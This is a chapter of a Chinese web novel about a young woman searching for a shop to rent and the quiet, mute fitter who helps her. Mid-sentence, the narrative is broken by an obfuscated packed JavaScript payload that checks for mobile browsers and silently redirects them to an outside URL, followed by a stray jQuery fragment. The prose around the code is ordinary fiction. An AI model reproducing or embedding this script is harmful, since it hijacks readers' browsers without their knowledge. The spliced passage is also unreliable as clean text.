宋晚晚的小院俨然成了一个小型服装作坊。缝纫机“哒哒”声此起彼伏，新到的鲜艳布料堆在墙角，空气中弥漫着棉纱和布料的味道。她和赵新民敲定了下一批主打款式——几款借鉴了港风杂志元素、又结合了本地审美的衬衫和连衣裙，图样就贴在墙上。晚上，宋晚晚做好制版，白天，女工们轮流来赶制样衣，宋晚晚则一头扎进了寻找门面房的大事中。
她跑遍了城里最繁华的几条街，特别是百货大楼周边。然而情况并不乐观。这年头商品经济刚萌芽，临街的铺面本就稀少，大多被国营商店、供销社或者有门路的老字号占据着。好不容易打听到一处可能出租的，房东一听她是农村户口，没有正式工作单位，脸色立刻就变了。
“小姑娘，不是我不租给你，”一个戴着老花镜的老大爷上下打量着她，“你这没户口没单位的，万一出点啥事，我找谁去？这房子可是公家的，我得负责任啊！”
宋晚晚再要说，老大爷就变了脸色，不耐烦的道，“介绍信呢？没单位介绍信可不行！再说了，你一个姑娘家能做啥生意？别折腾几天赔本了，连房租都交不上！”
租金其实并不算天文数字，一年也就三四百块钱，宋晚晚算算账，勉强能负担得起初期投入。可这无形的门槛，却把她牢牢挡在了外面。她第一次如此清晰地感受到户口和单位在这个时代的分量。
赵新民自告奋勇，拍着胸脯说凭他的三寸不烂之舌肯定能搞定。他买了最贵的“大前门”香烟和时鲜的水果，厚着脸皮再次登门。可他那一身过于时髦的打扮和略显油滑的腔调，反而让房东更加疑虑。
“大爷，您看，我们真是正经做生意的，手艺好着呢…”赵新民赔着笑脸递烟。
房东老大爷皱着眉推开他的烟，语气冷淡：“正经生意？看你这样也不像正经上班的。走走走，我这房不租给没单位没介绍信的，再说多少遍也没用！”
第二次去时，人家直接隔着门板喊：“说了不租！别再来了！”让赵新民结结实实吃了个闭门羹。
赵新民还没吃过这种亏，一时间也赌上了气，把水果往门口一扔，跟宋晚晚说，“他这房子，就是上赶着给咱们白用，咱们都不用了，有钱，咱们还怕租不到房子？个倔老头子！”
说完，拽上宋晚晚就走了，都没给宋晚晚说话的机会。
宋晚晚白天总往外跑，林默来了两次都没遇到人。他心里惦记，便向一位来做工的大姐打听。大姐一边踩着缝纫机一边说：“晚晚啊？去找房子啦！说要租个门面，省得咱们老摆地摊，风吹日晒的。好像就在百货大楼那边转悠呢，唉，听说不太好找…”
林默听了，默默记在心里。第二天他轮休，便也骑着自行车去了那片繁华地段，一边慢慢骑着，一边留意着街边是否有贴出租告示的窗户，或者看起来像空置的房屋。
边骑边看，他发现一个临街的院门口，有个头发花白、戴着深度近视眼镜的老大爷，正颤巍巍地踩在一个歪歪扭扭的板凳上，手里拿着锤子和钉子，试图修理一扇耷拉下来的窗户扇。窗户看起来年代久远，合页锈蚀了，老大爷眼神不好，锤子几下都砸空了，看着十分危险。
林默停下车子，走了过去，他说不了话，只是伸手扶住了那个摇晃的板凳。
老大爷吓了一跳，低头透过厚厚的镜片打量他，语气有些冲：“你谁啊？干嘛？”
林默指了指那扇坏掉的窗户，又指了指自己随身背着的工具袋，示意自己可以帮忙。
老大爷却很倔，挥挥手：“不用不用！我自己能行！街坊邻居都看笑话，我偏不让他们帮！”他说话间带着一种孤僻老人的执拗。
林默没走，也没强求，只是默默地从工具袋里拿出新的合页和螺丝，又找出机油壶，然后安静地站在一旁等着。
老大爷又笨拙地试了几次，差点从板凳上摔下来，最终还是气喘吁吁地、不情不愿地下来了，嘴里嘟囔着：“这合页质量真差…人老了，不中用了…”
林默这才上前，扶稳板凳，利落地爬上去。他检查了一下窗户，发现不只是合页问题，窗框也有些朽了。他也没吭声，从工具袋里找出合适的小木片，削好垫平，然后熟练地拆下旧合页，换上新的，滴上机油，动作一气呵成。最后，他试着开合了几下窗户，顺畅无声。
老大爷在一旁看着，虽然没说话，但紧绷的脸色缓和了不少。林默修完，从板凳上下来，开始收拾工具。
“喂，小子，”老大爷忽然开口，语气依旧硬邦邦，但少了些戒备，“手艺不错啊。哪个厂的？”
林默拿出小本，写道：「机械厂，钳工林默。」
“钳工？几级钳工？”老大爷似乎懂行。
林默比了个“八”的手势。
“怪不得。”老大爷眼睛闪了闪，嘀咕了一句，看了看修好的窗户，又看了看林默，像是想说什么，最终却只是摆摆手，“行了，修好了就走吧。”依旧是一副拒人千里之外的样子。林默也没在意，对他点点头，推着自行车离开了。
周围一直有看热闹的邻居，发现倔老头竟然跟林默挺合得来，不由议论起来。
林默没忙着走，慢慢推着车听了两句，这才知道，老大爷姓吴，是个孤僻的退休老教师，无儿无女，就守着这临街的老房子。
晚上，林默估摸着宋晚晚该回来了，便用网兜提着林大娘刚烙好的、还烫手的单饼，还有一个沉甸甸的铝制饭盒，里面是林大娘炒的土豆丝、豆芽炒韭菜和一格浓香的鸡蛋酱，又来到了小院。
果然，宋晚晚刚回来，正累得瘫在院里的石凳上揉腿。跑了一天，又是失望而归，又累又饿，心情低落。
看到林默提着饭菜进来，她眼睛顿时一亮。食物的香气瞬间勾起了她的馋虫。
“你怎么来了？”她的语气比起之前的冷淡，多了几分热络。
林默把东西放在石桌上，打开饭盒盖子，香气四溢。他写道：「我妈烙的饼，炒的菜，让我给你送点。」
“太好了！我正饿得前胸贴后背呢！”宋晚晚也没客气，洗了手就坐下来，拿起一张饼，熟练地抹上酱，夹上菜，卷起来大大咬了一口，满足地眯起了眼，“唔…大娘手艺真好！太香了！”
看着她吃得香，林默嘴角也微微上扬。他去屋里拿了暖水瓶，给她倒了杯水。
宋晚晚吃得差不多了，心情也好了不少，叹了口气，主动说起了找房子的烦心事：“…看中了一处，可房主是个老古板，非要介绍信，还嫌我没单位不稳妥…唉，赵新民去了也没用，差点被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459179|185228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人打出来。”她沮丧地用筷子戳着碗底，“其实租金不贵，就是这门槛太难迈了。”
林默安静地听着，等她说完，写道：「介绍信，我可以试着帮你开。」厂里开个证明，证明他是担保人之类的，或许能行。
宋晚晚摇摇头，腮帮子还鼓着：“估计悬。那个房东是个老教师，听说脾气怪得很，街坊邻居都不怎么来往。他那房子位置是好，可空了很久了，他要是想租，早就租出去了，我看他就是压根不想租。”她越说越泄气。
林默想起白天修窗户的事，沉吟了一下，写道：「事在人为。你是做正经事，用心沟通，也许能行。我们可以再去试试。」
宋晚晚抬眼看了看他，心里嘀咕：赵新民那么能说会道都碰了一鼻子灰，你这个闷葫芦去了能顶啥用？难道用眼神跟老大爷交流？她没把林默的话太往心里去，只是含糊地应了一声：“嗯，再说吧。”
吃完饭，宋晚晚抢着去洗了饭盒。回来时，正好看到林默站起身准备告辞，抬手间，胳膊肘处的劳动布外套裂开了一道寸许长的口子，估计是白天干活时在哪刮的。
“哎，林默，你袖子破了。”宋晚晚叫住他。
林默低头看了看，不在意地摇摇头，示意没关系。
“破了就得缝，不然越扯越大。”宋晚晚说着，很自然地走到他面前，“脱下来，我帮你缝两针，很快的。”
林默连忙摆手，表示不用麻烦。
“哎呀，客气什么，顺手的事。”宋晚晚不由分说，拉住他的胳膊，“就这么穿着缝吧，脱来脱去麻烦。”
她让林默抬起胳膊，自己就着院子里昏暗的灯光，拿出随身带的针线包，穿上针，低着头，仔细地帮他缝补起来。
两人距离瞬间拉得很近。林默能清晰地闻到她发间淡淡的皂角清香，能看到她低垂着眼睫时那两排小扇子似的阴影，和她微微抿着、专注认真的唇角。她的手指偶尔会不经意地碰到他的手臂皮肤，带来一阵微不可察的战栗。
林默的心跳不由自主地加快了。他低头看着近在咫尺的姑娘，心里软得一塌糊涂，一种难以言喻的冲动涌上心头，让他几乎控制不住地想伸出手，去摸摸她那看起来柔软乌黑的发顶。
他的手指微微抬起，悬在半空，犹豫着，挣扎着。就在这片刻的恍惚间，宋晚晚正好缝完最后一针，低头咬断线头，然后抬起头来——
“好了！你看看…”她话没说完，就撞见了林默还未来得及完全收回的、那只悬在她发顶附近的手，以及他瞬间变得通红、写满了慌乱的脸。
四目相对，空气仿佛凝固了。
林默像被烫到一样猛地收回手，连退两步，脸颊耳朵红得几乎要滴出血来。他眼神躲闪，根本不敢看宋晚晚，喉咙里发出几个无意义的音节，猛地转身，几乎是同手同脚地推起自行车，仓皇地冲出了院子，连句道别都没有，速度快得像逃命。
宋晚晚愣在原地，眨了眨眼，看着林默消失的方向，半晌才反应过来，哭笑不得地嘀咕：“哎！我的针！…这人…怎么回事？吓成这样…难道跟赵新民混久了，也学得毛毛躁躁的了？”
她摸了摸自己的头发，脸上后知后觉地也有点发热。院子里仿佛还残留着刚才那瞬间微妙而尴尬的气氛。